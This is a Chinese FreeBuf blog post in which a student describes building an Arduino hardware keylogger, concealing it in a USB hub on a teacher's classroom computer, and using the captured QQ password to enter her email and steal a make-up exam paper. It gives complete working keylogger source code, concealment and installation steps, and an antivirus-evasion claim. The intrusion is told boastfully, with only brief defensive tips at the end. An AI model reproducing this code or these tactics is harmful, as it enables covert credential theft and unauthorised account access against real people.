*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
我在freebuf上面看过有人使用arduino制作键盘记录的设备但是,说真的,他们都没有实战过,今天我给大家带来一下实战!
今天我要说的是一个学渣的逆袭过程。
由于上学期考试挂科了,也是我大学里面最后一个学期了,我可不想重修啊。想着寒假在家好好复习,到学校来好好参加考试,但是寒假里面的诱惑太多了,不说在家抢红包吧,各种朋友邀请出去吃饭就已经花费了大半个寒假了,平时还想睡一个懒觉,哪有什么时间去学习啊!
到学校来复习时不可能的,寝室集体开黑。马上要补考了,这可怎么办,不怕不怕。其实我早有妙招。
前期分析
偶然的机会,知道补考卷子在老师手上,老师们一般传输文件无外乎QQ,微信,百度云,邮箱了,要是能拿到他的QQ账号密码的话就好办多了,有些人的百度云也是通过QQ登陆的,邮箱的。目前来看,老师平时收作业都是通过QQ邮箱来收的,所以说只要拿到QQ账号密码就可以了就很有可能拿到考试卷子!
忘了账号我已经有了,要拿到老师的密码可不是一件简单的事情啊。想来想去,要拿到他的密码就要知道老师的一些习惯,这让我想到了,平时老师总是喜欢在下课的时候通过QQ把上课的讲义发到群里面去给大家复习。哈哈,要是我能在学校的电脑上安装键盘记录软件就好了,可是想来想去,我没有权限啊,除了在学校的网站上申请使用学校教室里面的电脑,其他没有任何其他办法给电脑安装键盘记录软件啊,本来想着使用BADUSB的,但是发现我连插上的机会都没有哎。算了。还是想其他法子吧。突然想到了可以从键盘入手,改造键盘哈哈哈哈。
早在上学期帮老师调试电脑的时候发现学校的键盘是usb接口的,而且键盘抽屉下面有很多杂乱的地方,全部是一些点电线什么的。正好符合之前我制作的要求!
献给大家分析一下具体的实施办法吧:
我之前制作的小设备是直接把键盘的线拨开,直接接线,这次就不能这么干了,毕竟剥线太浪费时间最好是能在短时间之内解决。现场接线,在那种比较慌张的情况下,很容易就搞错了。我之前的做法是直接将读取到的内容存到单片机的EEPROM 中,为了方便我自己,我决定修改一下自己的电路,让单片机读取到的内容存到我的内存卡中;并且为了隐蔽,我要把东西做到足够小,我最后把他藏到了我的是 usbhub 中。实战的时候我直接在键盘和电脑之间加上了我的 usbhub 。方便快捷,最主要还十分隐蔽,加上键盘下面全部是电线,一点也看不出来。
经过
想到之前使用arduino制作键盘记录设备的时候,我就知道这次可以使用这个法子窃取到键盘输入的内容了!说干就干!
Arduino 本身使用的主控芯片只有 16Mhz ,作为 USBLow Speed 设备发送已经力不从心,更不要说直接对 USB 信号采样。 所以我在淘宝上买了两个PS2的转接口回来,里面有芯片进行解码,我在网上看了很多资料,终于搞懂了ps2接口协议。
接下来说一下PS2键盘一些资料吧。
在计算机主机上的ps2是母口的,因此排列顺序与上图正好相反.这6根线中只有Data和Clock用于数据传输,这样看来键盘记录器的原理其实并不复杂,我们需要一块微控制器和一个存储器,微控制器从键盘的data针脚读取输入数据,存入存储器之后,再通过主机ps2插口上的data输出,如下图所示:
最后就是如何让我的单片机读取输入了,每次键盘输入的时候会解析出一些和这个格式差不多的二进制码 01 00 000000 00 00 00 每个按键都有不同的数据,只要对应好,就可以很简单的读取出来,这里我还得说一下,绕过防火墙,杀毒软件的问题。我制作的设备只是读取键盘输出的电平信号,压根没有在系统里面运行,这么会被检测到!
下面给出一些制作过程由于arduino 官方所推荐的第三方ps2键盘库,实现了基本的数字、字母和各种符号的输入,截获的按键代码直接转换成每个键的ascii值,但缺点是支持的功能键很少,有些键按照其中的规则定义,会互相产生冲突,比如F1-F12键,就与从p到z的一组字母冲突,因为在键盘ascii码标准中它们的值是一样的,使用时需要增加额外的规则来判定,为此,我对这个库做了修改,实现了ctrl和字母的组合,alt和字母的组合,不冲突的F1-F12功能键,大小写切换以及原来库里面已经实现的翻页和上下等特殊键。
这里我给出我当时测试时的照片。下面我贴出代码,这是我测试的时候写的代码。具体实现的目的是读取键盘输入,然后存到我的内存卡里面。
#include <PS2Keyboard.h>
#include <SPI.h>//调用SD卡头文件
#include <SD.h>//调用SD卡头文件
const int DataPin = 8;
const int IRQpin = 3;
const int chipSelect = 4;
PS2Keyboard keyboard;
File myFile;
void setup()
{
delay(1000);
keyboard.begin(DataPin, IRQpin);
Serial.begin(9600);//设置串口波特率为9600
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数
Serial.println("键盘测试:");
// while (!Serial)
// {
// ; //等待串行端口连接。 仅适用于本机USB端口
// }
Serial.println("Initializing SD card...");//正在初始化SD卡
//如果为非则初始化失败
if (!SD.begin(4)) {
Serial.println("initialization failed!");
return;
}
Serial.println("initialization done.");//初始化结束
//打开文件
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数
if (myFile)
{
//如果文件能正确打开,则做一下动作
Serial.print("Writing to...");//串口显示正在写入中。。。
//myFile.println("遥控信号记录开始");//写入数据
//myFile.close();//关闭文件
//Serial.println("done.");
}
else
{
// 如果文件不能正常打开,串口输出错误提示
Serial.println("error opening test.txt");
}
myFile.println("键盘记录开始");//写入数据
//for(int z=1;z<10;z++)
//{
// myFile.println("键盘记录开始");//写入数据
//}
//myFile.close();//关闭文件
Serial.println("done.");
myFile.close();//关闭文件
Serial.println("关闭文件");
Serial.println("setup函数执行完成");
Serial.println("即将进入loop函数");
}
void loop() {
Serial.println("进入loop函数:");
if (keyboard.available())
{
Serial.println("keyboard激活:");
myFile = SD.open("REC.txt", FILE_WRITE);//打开文件REC.txt,若无则自动创建,但必须加入FILE_WRITE函数
char c = keyboard.read();//读取键盘输入,将输入存入字符变量c中
// 检测一些特殊按键
if (c == PS2_ENTER) {
//Serial.println();
myFile.println("");//写入数据
} else if (c == PS2_TAB) {
//Serial.print("[Tab]");
myFile.print("[Tab]");//写入数据
} else if (c == PS2_ESC) {
//Serial.print("[ESC]");
myFile.print("[ESC]");//写入数据
} else if (c == PS2_PAGEDOWN) {
//Serial.print("[PgDn]");
myFile.print("[PgDn]");//写入数据
} else if (c == PS2_PAGEUP) {
//Serial.print("[PgUp]");
myFile.print("[PgUp]");//写入数据
} else if (c == PS2_LEFTARROW) {
//Serial.print("[Left]");
myFile.print("[Left]");//写入数据
} else if (c == PS2_RIGHTARROW) {
//Serial.print("[Right]");
myFile.print("[Right]");//写入数据
} else if (c == PS2_UPARROW) {
//Serial.print("[Up]");
myFile.println("[Up]");//写入数据
} else if (c == PS2_DOWNARROW) {
//Serial.print("[Down]");
myFile.print("[Down]");//写入数据
} else if (c == PS2_DELETE) {
//Serial.print("[Del]");
myFile.print("[Del]");//写入数据
} else {
// 如果不是的话,就输出本该输出的字符
Serial.print(c);
myFile.print(c);//写入数据
}
}
myFile.close();//关闭文件
}
里面的注释写的很详细!
我使用手上的一块单片机加上在淘宝上买的ps2转usb的公母头各一个,还有一个sd卡模块。当然了还有一些电阻电容的,我也不详细说了。
最后为了安装方便,我牺牲了我自己的usbhub,把做好的小东西藏到了usbhub的盒子里面去了。
附上一张全部装好的图,这里我也不打广告了,这个usbhub相当不错!(只不过当时制作的比较匆忙,没有过多的照片)
接下来时属于安装过程
带着我的小设备去教室,在前一天晚自习的时候撑着下晚自习人多的时候,给电脑安装上了我的设备。这套设备在自己的电脑上面测试过很多次了一点问题都没有。
接下来属于作死过程
第二天来了啊,一上课等老师打开电脑,我全程看着电脑屏幕,没有比这个更认真的了,听见系统提示的声音了,我的心提到了嗓子眼,应该是我usbhub在安装驱动吧,过了一会,啥事没有电脑也没有报错,我之前在自己电脑上调试的时候,有时候会发现电脑无法识别键盘的问题。接下来我心就定了下来,安安心心上着第二学期的课。下课,老师想往常一样登陆了QQ上传了文件,焦急的等待之后,终于下课了,我先上了个厕所,然后回来拿书包,这时候教室里面已经没有人了,我就背着我的书包到电脑前拔下我的额设备,将键盘放回之前的样子。
TMD碰到倒垃圾的同学,我不认识,不怕。一点不慌的,回了寝室,从设备里面取出内存卡啊啊啊!!!
开始分析数据咯
前面有一串奇怪的代码,这些字母应该不是老师输入的,因为自己测试的时候发现自己的键盘每次通电之后也会在我的sd卡里面生成一些数据,接下来的就是账号密码了,不知道为什么账号和密码之间有一段空白,如果老师是按下tab键的话我写的程序应该显示的是【tab】啊。我在这猜想可能是老师不小心按下了空格键吧,但是也不会有那么多吧。反正老师使用电脑也就输出这些东西,其他的也没看见她输入。 由于不习惯使用王爷编辑器,导致我的密码文档的图片跑到上面去了。(请小编帮忙编辑一下咯)
看到了老师的QQ号,接下里就是密码了吧,哈哈哈哈上课看老师输入密码的时候没有输入错误啥的。
接下来就是焦急的等待了,现在肯定不能上他的QQ号啊。哎,老师的还是八位QQ。等到晚上三点左右我估摸着老师也该休息了。开始作案,晚上三点之前还在电脑前,我室友还以为我在准备复习呢!
先等qq,发现QQ有设备锁,我记得上课从来没看见要设备锁啊。
我去,接下来所有的希望就寄托在邮箱上了。登陆邮箱发现额,文件太多了。找了半个小时,最后找到了补考卷子,我永远没想到补考卷子竟然和第一次考试的卷子一起出出来了。当时差点就没找到,因为我想着,肯定会就在这几天发出来,但是看了这几天有附件的邮件都是没有的,所有我就向前找了,找到了我第一次考试的压缩包,其实我压根没想到是补考卷子。我当时也是要快奔溃了,下载下来玩玩的,没想到打开后,尴尬了,里面有两张卷子,哈哈哈哈哈哈哈,我要开始学习了。
在此我要声明一下,我只拿了卷子,其他任何事情都没干,也没看看什么个人隐私,我的想法很单纯。
这次内容涉及到的键盘拦截硬件方面的软件和硬件方面的问题我一概不回,包括这次所有的照片我连单片机都没有拍。这次的拍摄的照片比较少,毕竟当时没有想起来要写文档。
最后:在这里说一下任何防止这样的攻击,使用软键盘输出。网上有很多这样的软件,最主要win下还自带。避免使用键盘输入,带来的硬件方面的信息暴露,其实就是在输入密码的时候可以故意输错,任何在重新输入,或者中间留几个空,输入完成之后在来填补那个空,不过这个方法比较烦,基本除了像我这样的人没人会用了(尤其不在自己电脑上输入密码的时候采用这种方式)。最后说一下我之前准备使用badusb攻击的防范方法,其实啊badusb是模拟键盘输入,执行一些恶意的命令,但是这个时候要是你电脑上面安装了火绒地话,就不会出现这样的问题了,我在接下来的稿件中将会展示一下如何防止badusb攻击的办法!
*本文作者:LEdge1,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
来源:freebuf.com 2019-03-11 10:00:06 by: LEdge1
请登录后发表评论
注册